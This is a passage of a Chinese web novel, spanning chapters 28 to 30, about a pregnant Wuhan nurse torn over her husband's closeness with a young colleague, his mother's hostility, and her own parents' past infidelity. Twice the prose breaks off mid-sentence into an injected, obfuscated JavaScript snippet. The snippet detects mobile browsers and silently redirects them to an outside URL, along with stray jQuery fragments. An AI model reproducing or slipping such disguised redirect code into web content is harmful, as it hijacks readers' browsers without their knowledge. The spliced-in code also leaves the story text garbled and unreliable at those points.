就便宜五块钱,赵捷成认为没必要,赵东南嫌他妈跟人吵得凶,丢人,但在张玢的价值体系里,买东西买贵了才是丢人。今天在她房间,她让赵东南一定找柳漾解决问题,赵东南再三说算了,她埋怨他不会过日子:“几千块钱不是钱?我一个月工资!她凭什么说算了?她又不是娇娇大小姐出身,说算了就算了?” 赵东南不响应她,张玢扎句狠的:“你媳妇要是小向,小向马上就甩给我一万块,你信不信?不像这个,不帮忙还说风凉话!” 万一张玢哪天再和柳漾吵架,说出向雨恬就麻烦了,赵东南决心借贷也要早点把房子买了,跟父母分开过。次日刚到电信公司,在车库里,他和向雨恬不期而遇,他想回避,但向雨恬无拘无束地喊赵哥,坦坦荡荡笑着走来。 同事们以为是寻常寒暄,纷纷去挤电梯,人群渐散,他二人还相对而立,赵东南说:“我得上楼了。” 向雨恬所在的综合办公室是职能部门,跟赵东南借调的网建部不在同一栋楼,她咬唇,凝望着他,问:“你想我吗?” 赵东南无法回答,向雨恬声音里带着哭腔,逼问他:“你看着我的眼睛,你告诉我,你真的没对我动过心吗?” 小女孩一双大眼睛里蓄满了眼泪,赵东南艰难地说:“雨恬,对不起。我媳妇怀孕了,做人要负责任,我没资格跟人谈情说爱。” 向雨恬整张脸都暗淡了,跑向她的车,拉开车门,坐上驾驶位,趴在方向盘上。赵东南知道她在哭,不忍走开,有同事开车来了,按一下喇叭,探出头寒暄:“吃了没?”他回过神,“吃了面。” 天气冷,急诊处处都是排队的人,有个病人皮试过敏,柳漾嘱咐她家属去退药重开,一抬眼,对上向雨恬的眼睛。她很漂亮,还有几分眼熟,柳漾忙完,向雨恬仍忧伤地看她,她对向雨恬笑,问:“挂号了吗?” 向雨恬泪盈盈:“你对病人都这么好,对他更好吧,难怪他说想跟你好好过日子。” 柳漾愣住了,向雨恬扭身走了。柳漾想了想,柳志华的葬礼上,这女孩出现过。村人也多有议论,都说城里姑娘漂亮。 小五带队的那两辆大巴里漂亮女孩多,柳漾当时没空多看,但在这一瞬间,周遭所有的人声像都消失了一半,她满脑子只有一个念头,这位就是赵东南口中的“小女孩”吧,是那吻痕的主人吧?秦飞真是个骗子,大桥那次交谈,她问对方长得好不好看,秦飞很勉强地说一般,但向雨恬岂止是一般。 凌晨一点半,柳漾下了小夜班回家,赵东南睡着了。柳漾气冲冲把他摇醒,告知向雨恬去找她了,赵东南自然没料到,赶紧强调他和向雨恬的亲密举动仅限于吻痕,他甚至不明白向雨恬为什么会喜欢他。 柳漾咄咄追问相处细节,赵东南就从头说起,他受处分,发配去带实习生,施工现场蚊子多,女孩们都被叮咬了,他从包里翻出一管驱蚊药。 赵东南很招蚊子,柳漾找医生推荐了一种驱蚊药,他每年入夏都随身携带,刚好派上用场了。转天休息时女孩们订奶茶,向雨恬送了赵东南一杯,赵东南玩手游,她帮他打了两盘,积分蹭蹭上涨,也就这点交集。 柳漾发火:“办公室恋情不都这么开始的?!” 赵东南喊冤,同事喊他聚餐,他有时去,有时不去,不去就直说:“跟媳妇约好了看电影。”向雨恬不可能没听到,再说她家境好,人又漂亮,追求者很多,他没往那方面想过。 赵东南把能想起来的细节都说了,柳漾仍信不过,如果真没状况,那女孩怎么可能去医院说那句话?她赶走赵东南:“你滚回你家!恶心。” 凌晨三点,赵东南指天发誓,他不可能做对不起柳漾的事,还说向雨恬也很纠结、很自责,她没想到醉酒后的吻痕会让他产生家庭危机,向他道过歉。柳漾怒从心起,踹他,让他滚,赵东南不走,柳漾起身去陈玉兰那间卧室睡,反锁了门。 沈维在值夜班,痛骂赵东南傻×:“现在的小三都很会装腔作势,善解人意,好言相劝男的珍惜家庭,哭着说我们不能再这样了,你质疑男人,他还认为你无理取闹,面目可憎。” 柳漾只想搞清楚赵东南有没说实话,沈维说:“都找上门了,再怎么样,你男人不可能一点想法都没有。” 向雨恬那句话种下猜疑之根,疯狂蔓延,清晨,柳漾打开卧室的门,餐桌上是赵东南买回的早餐,豆腐脑加欢喜坨,还有便利贴留言:“别吃冷的。” 柳漾把早餐扔进垃圾桶,给赵东南发去信息:“你回家住!” 赵东南打来电话:“漾漾,你相信我,我确实拒绝她了,我跟她说过不可能。” 柳漾自己买了桂花糊米酒和三鲜豆皮吃了,昨夜她睡不着,和沈维聊了很久,脑子里仍一团乱。听向雨恬那意思,赵东南是拒绝她了,但她心里还是过不去,不能多想,一想就只想骂人摔东西。 赵东南一上午发了无数信息,柳漾都不回,他订了外卖:“太冷了,中午别做饭了。” 柳漾吃上外卖,赵东南回了,他睡眠不足,一脸憔悴相,眼睛都红了:“漾漾,对不起,我以后再不在外面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592036|171426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝酒了,但我跟她的的确确什么都没有。” “被人扑到怀里啃,还有脸说什么都没有?”柳漾继续吃东西,缓了缓,说,“她昨天说完就走,我连句话也没来得及说,我下午就去你们公司,当面问她到底想怎样。” 赵东南犹豫了:“你别出面,免得动了胎气,伤了身,我保证妥善解决。其实我上午就找她问过,为什么要去找你,她说羡慕你,我让她不要再去打扰你,也不要影响我的家庭,她说祝福我们。” 柳漾冷笑着问:“还是边哭边说吧?” 向雨恬边哭边说:“为了逃避你,我调去其他部门,可我还忍不住想你,我去找我爸,把我调去下面县市算了……” 赵东南无言以对,小女孩对他情有独钟,他错愕又动容,但确实是迟了,他已是柳漾的丈夫。 柳漾吃完午饭躺下了,她昨夜几乎没睡着,脑子晕。赵东南不顾她连踢带挣扎,强力抱住她,跟她躺在一起,脸贴着她的耳根,连声说:“对不起,对不起,小蚊子,对不起。” 他的眼泪流下来。柳漾脖颈处湿漉漉,赵东南很少哭,她不出声,许久后,她说:“我不能再想这件事,也不能看到你,看到就反胃,你走吧。” 赵东南哽声说:“别做饭,我每天回来做给你吃,做完就走。” “滚吧!”柳漾狠狠挣脱他的胳膊,赵东南起床,柳漾用被子把自己一整个儿包进去,被窝里,很瘦弱的人形,赵东南眼眶又红了,“小蚊子,你要相信我,没有就没有,我在你爸坟前发过誓的,不会对不起你。” 柳漾不出声,赵东南想俯身去抱她,没敢,在床边坐了片刻,出去了。门被关上,她钻出被子透气,对着天花板冷笑。昨天她被当头一棒打懵了,现在才有了思索的余地,她让赵东南带她去找向雨恬,是在试探,但他经不起试探。 秦飞说过,小女孩的爸是分公司的副总,过两年就调回省里了,赵东南敢带着媳妇去公司,让媳妇骂她不要脸吗?他的犹豫说明了一切。他仅仅是害怕得罪向雨恬,避免在电信公司的前途尽毁,还是心疼她会伤心,才拦着不让媳妇去找她? 柳漾心里更疼,苍蝇不叮无缝蛋,她男人并非无坚不摧,她哪有脸去单位骂对方。男人出轨,女人却只恨女人,曾经是她最看不起的行为。 谁会跟铜墙铁壁较劲呢,有希望打开那扇门,才会有这一而再的痴缠。沈维分析过,如果赵东南坚壁清野,不给可乘之机,向雨恬就不会跑去说那些话。但还有一种可能,千金小姐很任性,看上的就一定要到手,对方是否已婚,对方的太太怎么样,她都不在意。 柳漾躺了一下午,她不奇怪赵东南会被白富美看上,当年她在医生同事和赵东南之间选了他,很大程度是他符合眼缘,性格也好,跟他相处总是有说有笑。 第一次见面是在秋天,赵东南上班时突发急性阑尾炎,去挂急诊,柳漾为他输液。他出院就追求她,方式还很特别:请她吃早餐。 武汉人把吃早餐称为过早,过字的用法等同于过节,可见隆重。早餐种类很丰富,但热干面方便快捷,是多数人的首选,赵东南请柳漾吃的是老店热干面,柳漾兴趣不大,她几乎不吃热干面,因为不爱吃面,更不爱吃干拌面。 赵东南很困惑,他以为柳漾可能是没吃到好吃的,带她去吃过好几家,柳漾烦了:“吃不到一起去,你找别人去。” 柳漾不爱吃面的原因很简单,小时候吃到吐了。陈玉兰在轮渡上班,半夜才下班,柳志华不会做饭,他顿顿白粥白馒头都行,在部队时,他经常这么吃,但女儿在长身体,他学着炒个青菜,烧个肉,但他下岗后,总是忙到晚上十点多才能回家,只得买各种挂面,让柳漾自己煮面吃。 一筒挂面能吃好几顿,陈玉兰教会柳漾做水铺蛋,煎荷包蛋,她就这么吃了若干年,陈玉兰和柳志华都没认为不妥,他俩对饮食都不看重,吃饱就行。哪怕日后陈玉兰在货运公司上班,大多数情况下都能按时下班,她做的晚餐仍很普通,也不钻研口味,她的心思用在攒钱还房贷上。 当柳漾和赵东南正式恋爱,请沈维等朋友吃饭,宣布告别单身,沈维笑话她:“怪不得别人说女人找男人,不是找儿子就是找爸,赵东南跟你爸有点神似,外在和性格都差不多。” 窗外刮起了风,柳漾笑了一下,泪水滑落眼角,沈维一眼就看出的事实,她却到今天才发现。当时她只承认赵东南像哥哥,真要说恋父的话,赵捷成才是她向往的父亲模样,温和儒雅,有书卷气。 初登赵家门,柳漾觉得婆婆很烦人,公公却很合她心意,像她缺失多年的理想型父亲。当天从赵家出来,她笑说因为张玢,她想打退堂鼓,但她羡慕赵东南有个好爸爸:“我可能看上你爸啦。” 直觉很准,赵捷成待柳漾始终很和善,张玢却越发丑态百出,让人厌恶。不过,这也跟赵捷成在家既不干活,也不絮叨有关,一个随遇而安的懒汉难免给人好相处的错觉。 29. 第 29 章 沈维找柳漾聊了许久,但柳漾仍理不出思路,她对婚姻何去何从没了方向,烦躁不堪。赵东南却没听她的,下班就回来炖汤烧饭,柳漾高声怒骂,让他滚,但赵东南的态度很端正,他说必须每天按时回家,不能不在媳妇的视线范围内,免得再被误会,而且她怀着孩子,身边不能没人,最重要的是,柳漾是他媳妇,他每天都想看到她。 几天后,柳漾下大夜班,回团风看陈玉兰。已进12月,距离春节不足两个月,陈玉兰和柳志华的哥姐在着手准备年事,一起去镇上采购了,她独自去祖坟山上看看她爸。 村童们在放野火,欢笑着满山乱窜,柳漾坐在枯草地上,痛哭失声。为什么原谅一个人这么难,为什么想到要分开,心里这么痛,可是不分开,是不是还会再痛下去? 陈玉兰半天不见女儿回来,上山去寻她。柳漾极力掩饰情绪,陈玉兰便装傻:“又想你爸了吧,刚才跟他说什么了?” 妈妈那时候,也这样痛过吧,一定会更痛,因为怀孕的人是冯鹃。柳漾眼圈一红,看着墓碑说:“骂他管不住自己,害得你受苦,也害得他自己负担那么重,要养那边两个儿子,还偷偷摸摸给我存嫁妆钱。老柳,你有病吧,我开口找你要钱了?你要不是赚钱把身体败得太狠了,肯定还能再活几十年。” 女儿懂得心疼她爸了,是发生了让她感同身受的事吧,陈玉兰没有明着说出来:“你爸是做错了事,伤害了我和你,但是十几年了,我心里的疙瘩磨平了。后来他跟我说,可能活不过半年,我满心想着跟这个人有情分,想为他,为自己画个句号,你不要怪我。” 柳漾曾经是不理解,由着她妈罢了,但她现在觉得似乎没那么不可理解。每个人的忍受力都不同,妈妈能忍的事,自己不能,但自己能忍的事,沈维不能。如果吻痕事件后就直接离婚,大概就不会被向雨恬找上门,更不会被屈辱感和恶心感攻击到现在。 可那时就离婚,自己有天会不会认为跟赵东南分开得太负气?尤其是查出怀孕后,会反悔吗? 再多假设都毫无必要,怪只怪自己不是个坚定的人,柳漾尽力不让自己再想破事烂人,问:“你和我爸是怎么在一起的?” 小时候,柳漾听外婆说过,陈玉兰和柳志华是自由恋爱,两人是在轮渡上认识的,她只依稀记得这些,但她现在很想知道更多细节。 陈玉兰离婚后,独力抚养柳漾,很少诉苦,也不太跟人交心,但柳漾想知道,她缓缓说开了。 中专毕业后,陈玉兰在家待业两年,家里托了关系,她得以去码头工作。起初在售票窗口,但总有人逃票,于是单位在轮渡上临时设立了几个检票的岗位。 过江轮渡一刻钟一趟,陈玉兰终日往返于长江上,市民连人带交通工具都能上船,天气好的时候,陈玉兰喜欢去二楼甲板吹风,看风景,落日时分的长江大桥尤其漂亮。 陈玉兰第一次注意到柳志华,就对他印象深刻,他总和他的二八自行车一起上船。三年的军旅生涯,让他和别人不一样,身姿挺直,还有几分文气,他有一台单放机,每次见他,他都戴着耳机听歌。 陈玉兰很好奇他在听什么歌,有一天靠近了些,耳机漏音,隐隐传来英文歌。若是别的歌,她就不做声了,但那首歌太著名,是卡朋特的《YesterdayOnceMore》。中专校园里,每到黄昏都会响起。 两人的交谈从这首歌开始,柳志华连初中都没读完,但并不自卑,坦然说英文歌他只知道几首,平时听得多的是粤语歌,他在湖南当兵时每天都听。湖南比湖北靠近广东,更有粤语歌氛围,陈玉兰自此开始听粤语歌。 轮渡上的人多,又挤,经常没检完票就到对岸了,单位撤了检票岗,陈玉兰回到售票窗口,改上轮班,她嫌闷,总去图书馆借书。杂志翻翻就看完了,一次只能借三本,每天都去还书借书太累,陈玉兰盯上了外国名著,它们因翻译晦涩而耐读,一本书能看一两个月。 有一天,柳志华买票时,扬起一本书,对陈玉兰一晃:“总看你在看这本,肯定好看,我也借了。” 柳漾问:“什么书?” 陈玉兰说:“《约翰·克利斯朵夫》,很厚,看了几个月。” 后面的人还等着买票,陈玉兰来不及跟柳志华交流更多,不小心碰到手边单放机,耳塞脱落,《YesterdayOnceMore》响起,两人相视一笑。 有个周末晚上,陈玉兰快下班了,柳志华才来,他没上轮渡,等人都走了,约她第二天下午去看电影,他知道她哪天休假。 柳漾又问:“什么电影?” “《东归英雄传》。”二十多年前的事,到今天陈玉兰还清楚地记得。柳漾调侃道,“看完就牵手了?” “我们那时候的人保守,看了很多次电影才抱了一下。”女儿笑眯眯地眨眼睛,气氛很轻松,陈玉兰笑眯眯地回答了,“看了大半年电影,有次看《天地人心》,还没开场,你爸坐旁边,突然拔下一个耳塞,塞到我耳朵里,让我一起听歌,听完了问,姻缘一线牵,是不是这个意思?” “他还蛮浪漫的。”柳漾兴趣盎然,“什么歌?” “蔡国权的《最后一班渡轮》,他唱得特别好。不过歌词很烦,我后来再也不听。”陈玉兰这辈子没跟第二个人说起这些,颇有些感喟,“我以为我忘记了,说出来才发现都还记得。” 大伯家到了,母女俩换了话题。柳漾很感喟,她爸妈离婚时她才12岁,重逢后只断断续续相处了三个多月,没多少时间以成年人的身份和她爸谈些朋友般的话题。但是细想起来,听陈玉兰聊感情细节也是第一次。 回到大伯家,笸箩里堆满锡箔。陈玉兰有空就叠,为来年清明节做准备,柳志华辛苦了一辈子,她希望他在那边能过得富足些。 大伯母在做饭,陈玉兰打开取暖器,教柳漾叠锡箔,慢慢询问她是否又在和赵东南怄气,柳漾承认了,但没说缘由,问:“你是怎么发现我爸跟冯鹃有问题的?” “人都是闻着味儿找另一半的,他身上的味儿不对。”陈玉兰审出来了,柳志华保证痛改全非,也收敛了一小段时日,但食髓知味的人哪是那么好回头的,没多久,冯鹃挺着大肚子找来了。 陈玉兰停顿了好一会儿,时隔多年,当事人之一已死去,但柳漾想象得出,那一天,她妈眼前的世界必然天昏地暗。 原谅这样的男人很吃力,陈玉兰想离婚,但下不了决心,柳志华也痛苦,他是做了不可饶恕的错事,可他没想过要为那个女人离开陈玉兰,离开家。 被背叛的耻辱日夜磨心,恐惧离婚后的生活也日夜磨心,除此之外,陈玉兰还有个巨大的困惑,所有人都说,冯鹃各方面都比她差,柳志华的出轨对象,为什么偏偏是她? 被这样的人比下去,困惑和不甘从未消解,多年后,以复婚画上句号,陈玉兰彻彻底底心愿已了。 柳漾说:“可他当年就认错了。” “认归认,复婚才是签字画押。”陈玉兰坦陈她是很固执,但人一生总有几件非做不可的事。 柳漾沉默了,秦刚抢劫入狱,冯鹃的生活跌入绝境,柳志华才被迫扛起自己造的孽,陈玉兰不得不离婚。但自己的情况不一样,按赵东南本人和向雨恬的说法,男人的确拒绝了女人。 心有怨恨,做不到再不翻旧账,但离婚,至于吗?或者换句话说,舍得吗?柳漾埋下脸去,冯鹃是个高声武气的莽妇,陈玉兰样样都比她强,她想不开,向雨恬貌美如花,家境优越,样样都好过自己,她就想得开吗? 人心易变,结婚之前就想到这个可能,可惜人总会抱有幻想,以为自己遇见的人不是那样的人,以为运气没那么差,以为能把婚姻生活经营得风调雨顺,但命运横生枝节,仍然束手无策。 柳漾没跟陈玉兰说向雨恬去找过她,怕她妈想起旧事,怄气怄不过来,但她的情绪都写在脸上,陈玉兰哪会看不出来?但她不喜欢被女儿干涉,也不干涉女儿,虽然是母女,但对待事情的方式和心态都不同,柳志华没患癌,没提复婚,她就这样过,但复婚了,她这一生在感情上的憋屈烟消云散,宛若新生,她有她过不去的坎,柳漾一定也有,所以她只说:“感情上的事,只能按自己的想法走,你想怎样我都支持你。” 回武汉,赵东南做了一桌汤汤水水等着,柳漾怨气仍重,一言不合就摔筷子,赵东南好脾气地承受着,却每每让她更暴躁。 冯鹃不如陈玉兰,陈玉兰不甘心,自己不如向雨恬,但男人出轨,她就能说服自己本该如此吗?也还是一样不甘心,甚至更郁结,她的情绪找不到出口,每次一下大夜班就回团风,到柳志华坟前待一待。 这是柳志华去后第一年,团风习俗称之为“大年”,柳家人得向吊唁的村人和亲戚回礼,陈玉兰拟定了礼品清单,每隔几天就网购一批,骑着电动车去镇上的快递站取回。天寒地冻,柳漾心疼她:“缺什么我买,我下次带来。” 陈玉兰笑道:“五十岁就把我当老人看?” 陈玉兰独力撑着生活撑习惯了,不喜欢抱怨,也不诉苦,但柳志华死后,她内心似乎有某种东西被摧毁,现出了老态,柳漾顺着话说:“晓得自己不老就好,过完年,不准再为他守节了。” 陈玉兰骂她:“胡说八道。” 柳漾问:“明年什么打算?” “找点事做,空了出去玩,趁着这次跟你爸办后事,轮渡时期的老同事又都联系上了,她们好几个人也都闲下来了,约我去旅游。”柳漾问得细,陈玉兰就答得细,她年已半百,却只去过桂林,明后年想去看看大海和草原,还想去苏杭。 这几天,柳漾不再跟赵东南掰扯,但郁气积在心头难消。从小到大,她不知听多少人抱怨过伴侣,哪怕伴侣人神共愤,但也就止于抱怨,都觉得不至于离婚。 即使男人家暴,赌博,嫖./娼,出轨,即使女人泼悍,好吃懒做,勾三搭四爱打牌,他们当中很多也没离婚。柳漾总在想,那么,怎样的事才叫至于?如今她在想,她和赵东南的现状,至于离婚吗?也没有答案。她对赵东南已不能信任如初,但一拍两散,好像也做不到。 柳漾走神走得很厉害,陈玉兰心知肚明,女儿女婿的问题还没解决,可自家只是两居室,她回去住,固然能照顾柳漾,但小夫妻可能碍于她在场,把问题窝藏着,逃避着,倒不如争争吵吵,反而是在交流。 交流碰撞,才有希望把话说清楚,所以母亲反复告诫女儿:“有脾气就发,不要忍,想让我回去,我就回去。” 今年武汉的冬天比以往来得早些,12月中旬就落了雪。柳漾上白班时忽然见了红,她心里一慌,冲去做检查,好在只是虚惊一场,胎儿在生长发育,把她的子宫撑大,导致黏膜破裂,从而分泌出血。 见红不一定会流产,柳漾不是不清楚,但看到血液时,她完全乱了,脸急得煞白,检查结果出来后,她哆哆嗦嗦,在诊室坐了半天,然后下单请众同事喝下午茶。 护士长让柳漾回家休息,柳漾谢绝了,急诊中心事多人少,她不在,同事会更累。护士长叹气,让她下班后注意休息,保持情绪稳定,安胎最重要的是安心,柳漾点头,抹掉眼泪,投入到工作中。当医生告诉她,孩子没事时,她内心充盈着失而复得的狂喜,才发现自己有多想生下这个孩子。 既然如此,没想好的事,就先不想,所有的一切,都为孩子让路,而且马上就要正式成为主管护师了,担的责任更大,工作不容怠慢。 按医生们的建议,柳漾开始收敛脾气,跟赵东南不吵不闹,保证饮食规律,心态平和。沈维管住自己的嘴,柳漾不提赵东南,她就不提,她知道在自己看来可以一离了之的事,在婚姻中人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592037|171426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的评价体系不致命,丈夫是和别人暧昧过,但悬崖勒马了,除此之外别的都很好,甚至比很多男人都做得好,就这么离了,在绝大多数人眼里都挺可惜。 平安夜当天,正值柳漾的大夜班,赵东南一如既往送了鲜花和巧克力,圣诞节当天则安排了逛商场,看电影和吃西餐一条龙,回家途中,街边情侣拥吻,柳漾忽然又想起向雨恬,故意问:“你不发朋友圈吗?” 赵东南图文并茂发出去:“第四个圣诞节。” 赵家祖辈们很关心家里的第四代,来看过柳漾几次,但两居室塞不下一大家子人,转眼到了岁末,柳漾看在祖辈们都对她不错的份上,同意回香榭水岸跨年。 以张玢的厨艺搞家宴,柳漾看不来,找有板眼火锅城订了菜,送到家里。张玢择着菜,让她说说孕检情况,柳漾简明扼要说一切都正常,但张玢想看看孕检报告单,柳漾有点讶异:“报告放在我妈家,有些我都看不懂,找医生解释的。” 张玢却说医生是柳漾的同事,哪怕孩子有点毛病,他们不一定会说真话,她想拿给别的医院再看看,要么干脆去离家最近的医院再查查,稳妥第一。柳漾越发感觉怪异:“你这话我有点听不懂,你在担心伢有问题?” 祖辈们都到了,赵东南让柳漾陪他们看电视,自己和张玢再谈谈,过了片刻,他气冲冲出来,拉着柳漾回厨房,对张玢说:“我和漾漾拿到年终奖就买房,搬到新家之前,就在漾漾娘家住,不回来了。” 赵东南语气很重,张玢的脸色难看起来,柳漾颇觉解气。赵捷成过来哄上几句:“更年期,更年期,你别见怪。” 公公人很好,柳漾不为难他,但不想再假客气,吃完饭,祖辈们都走了,她问:“爸,我有个问题想问你,你为什么会跟她结婚,为什么能忍这么多年?” 赵捷成笑起来,他和张玢是相亲认识的,样貌顺眼,条件相当,就接触接触看看,那时代不兴婚前同居,张玢也没暴露太多毛病。赵捷成想找个琴瑟和鸣的人,找不到,又不像沈维,敢于跟世俗抗命,他对伴侣最大的要求就一条,能容得下他。他对张玢说:“我知道你要强,自视高,对人要求也高,但我不喜欢应酬,也不追求上进。” 张玢说:“我就想找个忠厚可靠的。” 婚后,张玢试图改造赵捷成,失败了,他丑话早已说在前头:“我不会做家务,但不讲究吃住,你做成怎样,我都不挑剔你。” 柳漾懂了,张玢毛病再多,但能宽容赵捷成,赵捷成当然能跟她过下去,人都有利己的一面。多数男女,当朋友和伴侣发生冲突,即使朋友是对的,他们仍会选择站在伴侣一方。 能长久相处的伴侣,是利益共同体,不然怎么能叫两口子。沈维说过:“身为不婚人士,我多年观察,有一心得:夫妻是一体的。我从不指望朋友肯就事论事,站在我这边,而不是她男人那边。” 赵东南拖着行李箱下楼,正式宣告搬出家,张玢一言不发回卧室。回家的路上,柳漾问他和张玢先前在厨房为何事起争执,赵东南说:“我们没做备孕就怀上了,她心里有点不踏实,毕竟我那段时间应酬多,又抽烟又喝酒。她让我劝你回香榭水岸住,还说哪有男人长住丈母娘家,说出去没面子。” 回家洗漱时,柳漾又在想这件事,她怀疑赵东南没说实话,以张玢对她一贯的嫌弃,很可能认为她家是劣质基因,爷爷66岁就因心肌梗死去世,奶奶活了72岁也撒手人寰,柳志华50岁也没了,这都是不争的事实。 沈维一针见血:“说不定还在打向雨恬的主意,光是离异还有可能,但你生了伢,赵东南就当爸了,当爸再追向雨恬,她家打死不同意。” 柳漾火冒三丈,张玢竟然存着让她打胎,好给向雨恬让位的心思,她没忍住,试了试赵东南,赵东南当然不敢说她猜对了,矢口否认:“我妈就是劝我能不能不要这个,我骂了她,她是女人,比我更清楚流产伤身。” 柳漾怒道:“她敢当面说,我就撕烂她的嘴,你别拦着我。” 赵东南赶紧做小伏低,软语温存,还非常正式地道了歉,柳漾被张玢伤到眼睛那次,他就该跟柳漾搬出来住,却让她继续受气,以后张玢再敢对柳漾不客气,他就不认她了。 柳漾慢慢平静下来,但仍把赵东南赶去次卧睡觉。凌晨时,她梦回童年,自己仍是孩童,父母还没有离婚,一家三口住在出租屋里。 柳志华和陈玉兰结婚时租了老旧小区的两房一厅,其中一间被房东用来放东西,锁起来了,租金比别家便宜些。父母和亲戚都体恤他,就住在团风乡下,绝少来叨扰。 5岁时,柳漾贪玩从阳台摔下来,好在出租屋是在二楼,被一楼的雨棚挡了一下,她只摔伤了胳膊。医院里,陈玉兰又慌又急,跟柳志华吵起来。 柳志华很自责,自己动手能力强,竟然没想到把阳台加固得高一些,不让女儿翻过去,他回家改造了阳台。后来终于攒够了首付费用,顶楼和一楼相对便宜些,他选了一楼,陈玉兰笑骂:“漾漾长大了,不会再爬阳台了。” 是被爸爸疼爱过的,其实心里知道。柳漾哭醒了过来,却见赵东南搬了小板凳坐在床头,拿块热毛巾给她擦脸:“做噩梦了?喊都喊不醒。” 柳漾在梦里哭得凶,手脚乱舞,蹬翻了被子,有点着凉,连打几个喷嚏。赵东南掖紧她的被子,去厨房烧水,再把药箱捧进来,低头细看说明书。柳漾默然地看着他,他低垂着睫毛,眼角已有细细的皱纹,不明显,但能看得出,她伸出手,握住了赵东南的手,赵东南抱住她,她没有再推开。赵东南对抗张玢,堪称他的加分项,把他近来严重丢失的分补回来了。 喝完赵东南熬的姜汤,柳漾翻个身,努力入睡。这份感情出现了漏洞,她挣扎了这么长时间,依然含含糊糊重新捡起来了,只因她不能否认,自己对赵东南还有感情。 30. 第 30 章 过完元旦,柳漾正式升为主管护师,科室给她分配了四个实习护士,其中有两个是男生。这几年,院里的男护士渐渐多了起来,急诊中心是高危事故重灾区,半夜三更醉酒的,打群架的,一个个气势汹汹,连吼带闹,分诊台的女护士们被推来搡去,多了几个男护士,大家都很开心。 怀孕后,柳漾分外爱吃甜食和辣的,虽然吃不了几口就想吐。同班的宋青她们都很照顾她,男护士大川和小峰也很得力,搬运重症病人,护送行动不便的病人去做检查,以及搬抬仪器都一马当先。 天气愈加严寒,急诊中心又进入高峰期,病人和家属来来往往,一名交警背着昏迷的病人冲进抢救室,病人在网约车上突发疾病,司机连闯多个红灯,在路边值勤的交警协助下,病人被送上了手术台。 司机还得去拉活儿,看看就走了。病人是一米八几的大个子,交警背着他,累得够呛,把腰给扭伤了,宋青发现了,过去帮他舒缓。交警一迭声说着谢谢,再联系同事,让他们帮忙消掉司机的违章记录。科室主任徐怡翎最近带了几个学生,都是县市医院来进修的,其中一人给交警叫了宵夜,善良的人理应得到善待。 一个快60岁的女工外伤伤及头部,伤后两个小时才被人发现,送来医院的时候,患者耳鼻口腔流血凶猛,柳漾猛打电话通知医生赶来紧急会诊,刚松口气,美容院送来才20岁的大学生,她嫌自己太阳穴凹陷,额头也不饱满,注射了美容针,药物过敏引起休克。 各项抢救很及时,大学生醒了,医护人员齐齐放了心,几个围观的病人都感叹,年纪轻轻,长得也不丑,整容干吗,柳漾递给大学生一瓶小吊梨汤,是交警没来得及喝的。大学生抱着小吊梨汤掉眼泪,柳漾冲那些人吼道:“她死里逃生,要你多嘴?” 大学生是不好看,有那么一瞬间,柳漾又想到了向雨恬。向雨恬很漂亮,赵东南见色起心,她就能理解吗?她不肯理解,但有人想要改变容貌,改变某些事,她理解。 元月下旬,夫妻俩各自开完单位年会,召开了家庭会议,但两人拿到的年终奖和积蓄凑在一起,距离买房首付缺口不小。两人名下都有一套房,再买房子得掏五成首付,不得不分头去借钱。 柳漾找科室主任和护士长都开了口,一共借了十万块钱,她没敢借太多,毕竟每年还得向冯鹃上贡。 科室主任徐怡翎让柳漾不着急还钱,还宽她的心,普通人的财富都是人到中年才积累到的,她才25岁,手头吃紧是必然的。 但赵东南显然心里不好受,他借遍能开口的熟人,仍然不够,一身酒气地回到家,柳漾骂他喝成了一只大虾,给他泡醒酒茶,他突然失控了,抱着她流泪:“答应你不喝了,但是找人借钱,不敬两杯说不过去。漾漾,真是对不起啊,跟我在一起委屈你了。” 相识到结婚这四年多,赵东南绝少哭,柳漾顺着他的背,问他怎么了,他没说,死死地抱住她,说了很多句对不起。 身上背着旧部门的处分,在新部门只是借调,三十而立,依然双手空空,连套房子都买不起,赵东南不知道是哪里不对,已经很拼命了,可还是活得很艰难,并且还看不到转机,别人都是怎么挣到钱的? 赚钱的速度永远跟不上房价的涨幅,赵东南被迫找公司同事借钱,承诺利息比存银行高,几个同事都借了。他手头终于宽裕了一点,把电信公司和617医院中间地带作为目标。 连着看了十来天房子,两人挑出了十几套二手房备选。钱仍不够多,挑选余地有限,最后定了距离617医院车程一刻钟的二手房,71平方米,开发商做出了极其紧凑的三居,但坐北朝南,很通透。 签完购房协议,等银行走完流程,估计一两个月就能拿到房产证。赵东南做了一桌菜,柳漾热着生姜可乐,赵东南夹了一筷子葱烧喜头鱼让她尝味道,她笑弯了眼:“你做饭比我有天赋。” 武汉人管鲫鱼叫喜头鱼,赵东南想图点吉利,柳漾对着饭菜录视频,发到柳家家族群炫耀:“某人的手艺不比大厨差喽。” 媳妇高兴成这样,赵东南很受感染,也拍了两张照片,发到朋友圈:“今天签了购房协议,谢谢各位亲朋好友大力支持。” 二手房是老式装修,家具也很旧,电器也得重新添置,吃完饭,柳漾和赵东南有商有量,一项项列入手机备忘录,赵东南手机屏幕一亮,来了一条短信。 这年头只有广告才会发短信,赵东南随意点开,柳漾随意扫了一眼,却是向雨恬发的,只有几个字:“你想留在网建部吗?” 柳漾黑了脸,赵东南指天发誓他许久没和向雨恬联系,连照面都没打过,柳漾拍桌怒问:“你为什么不把她拉黑?” 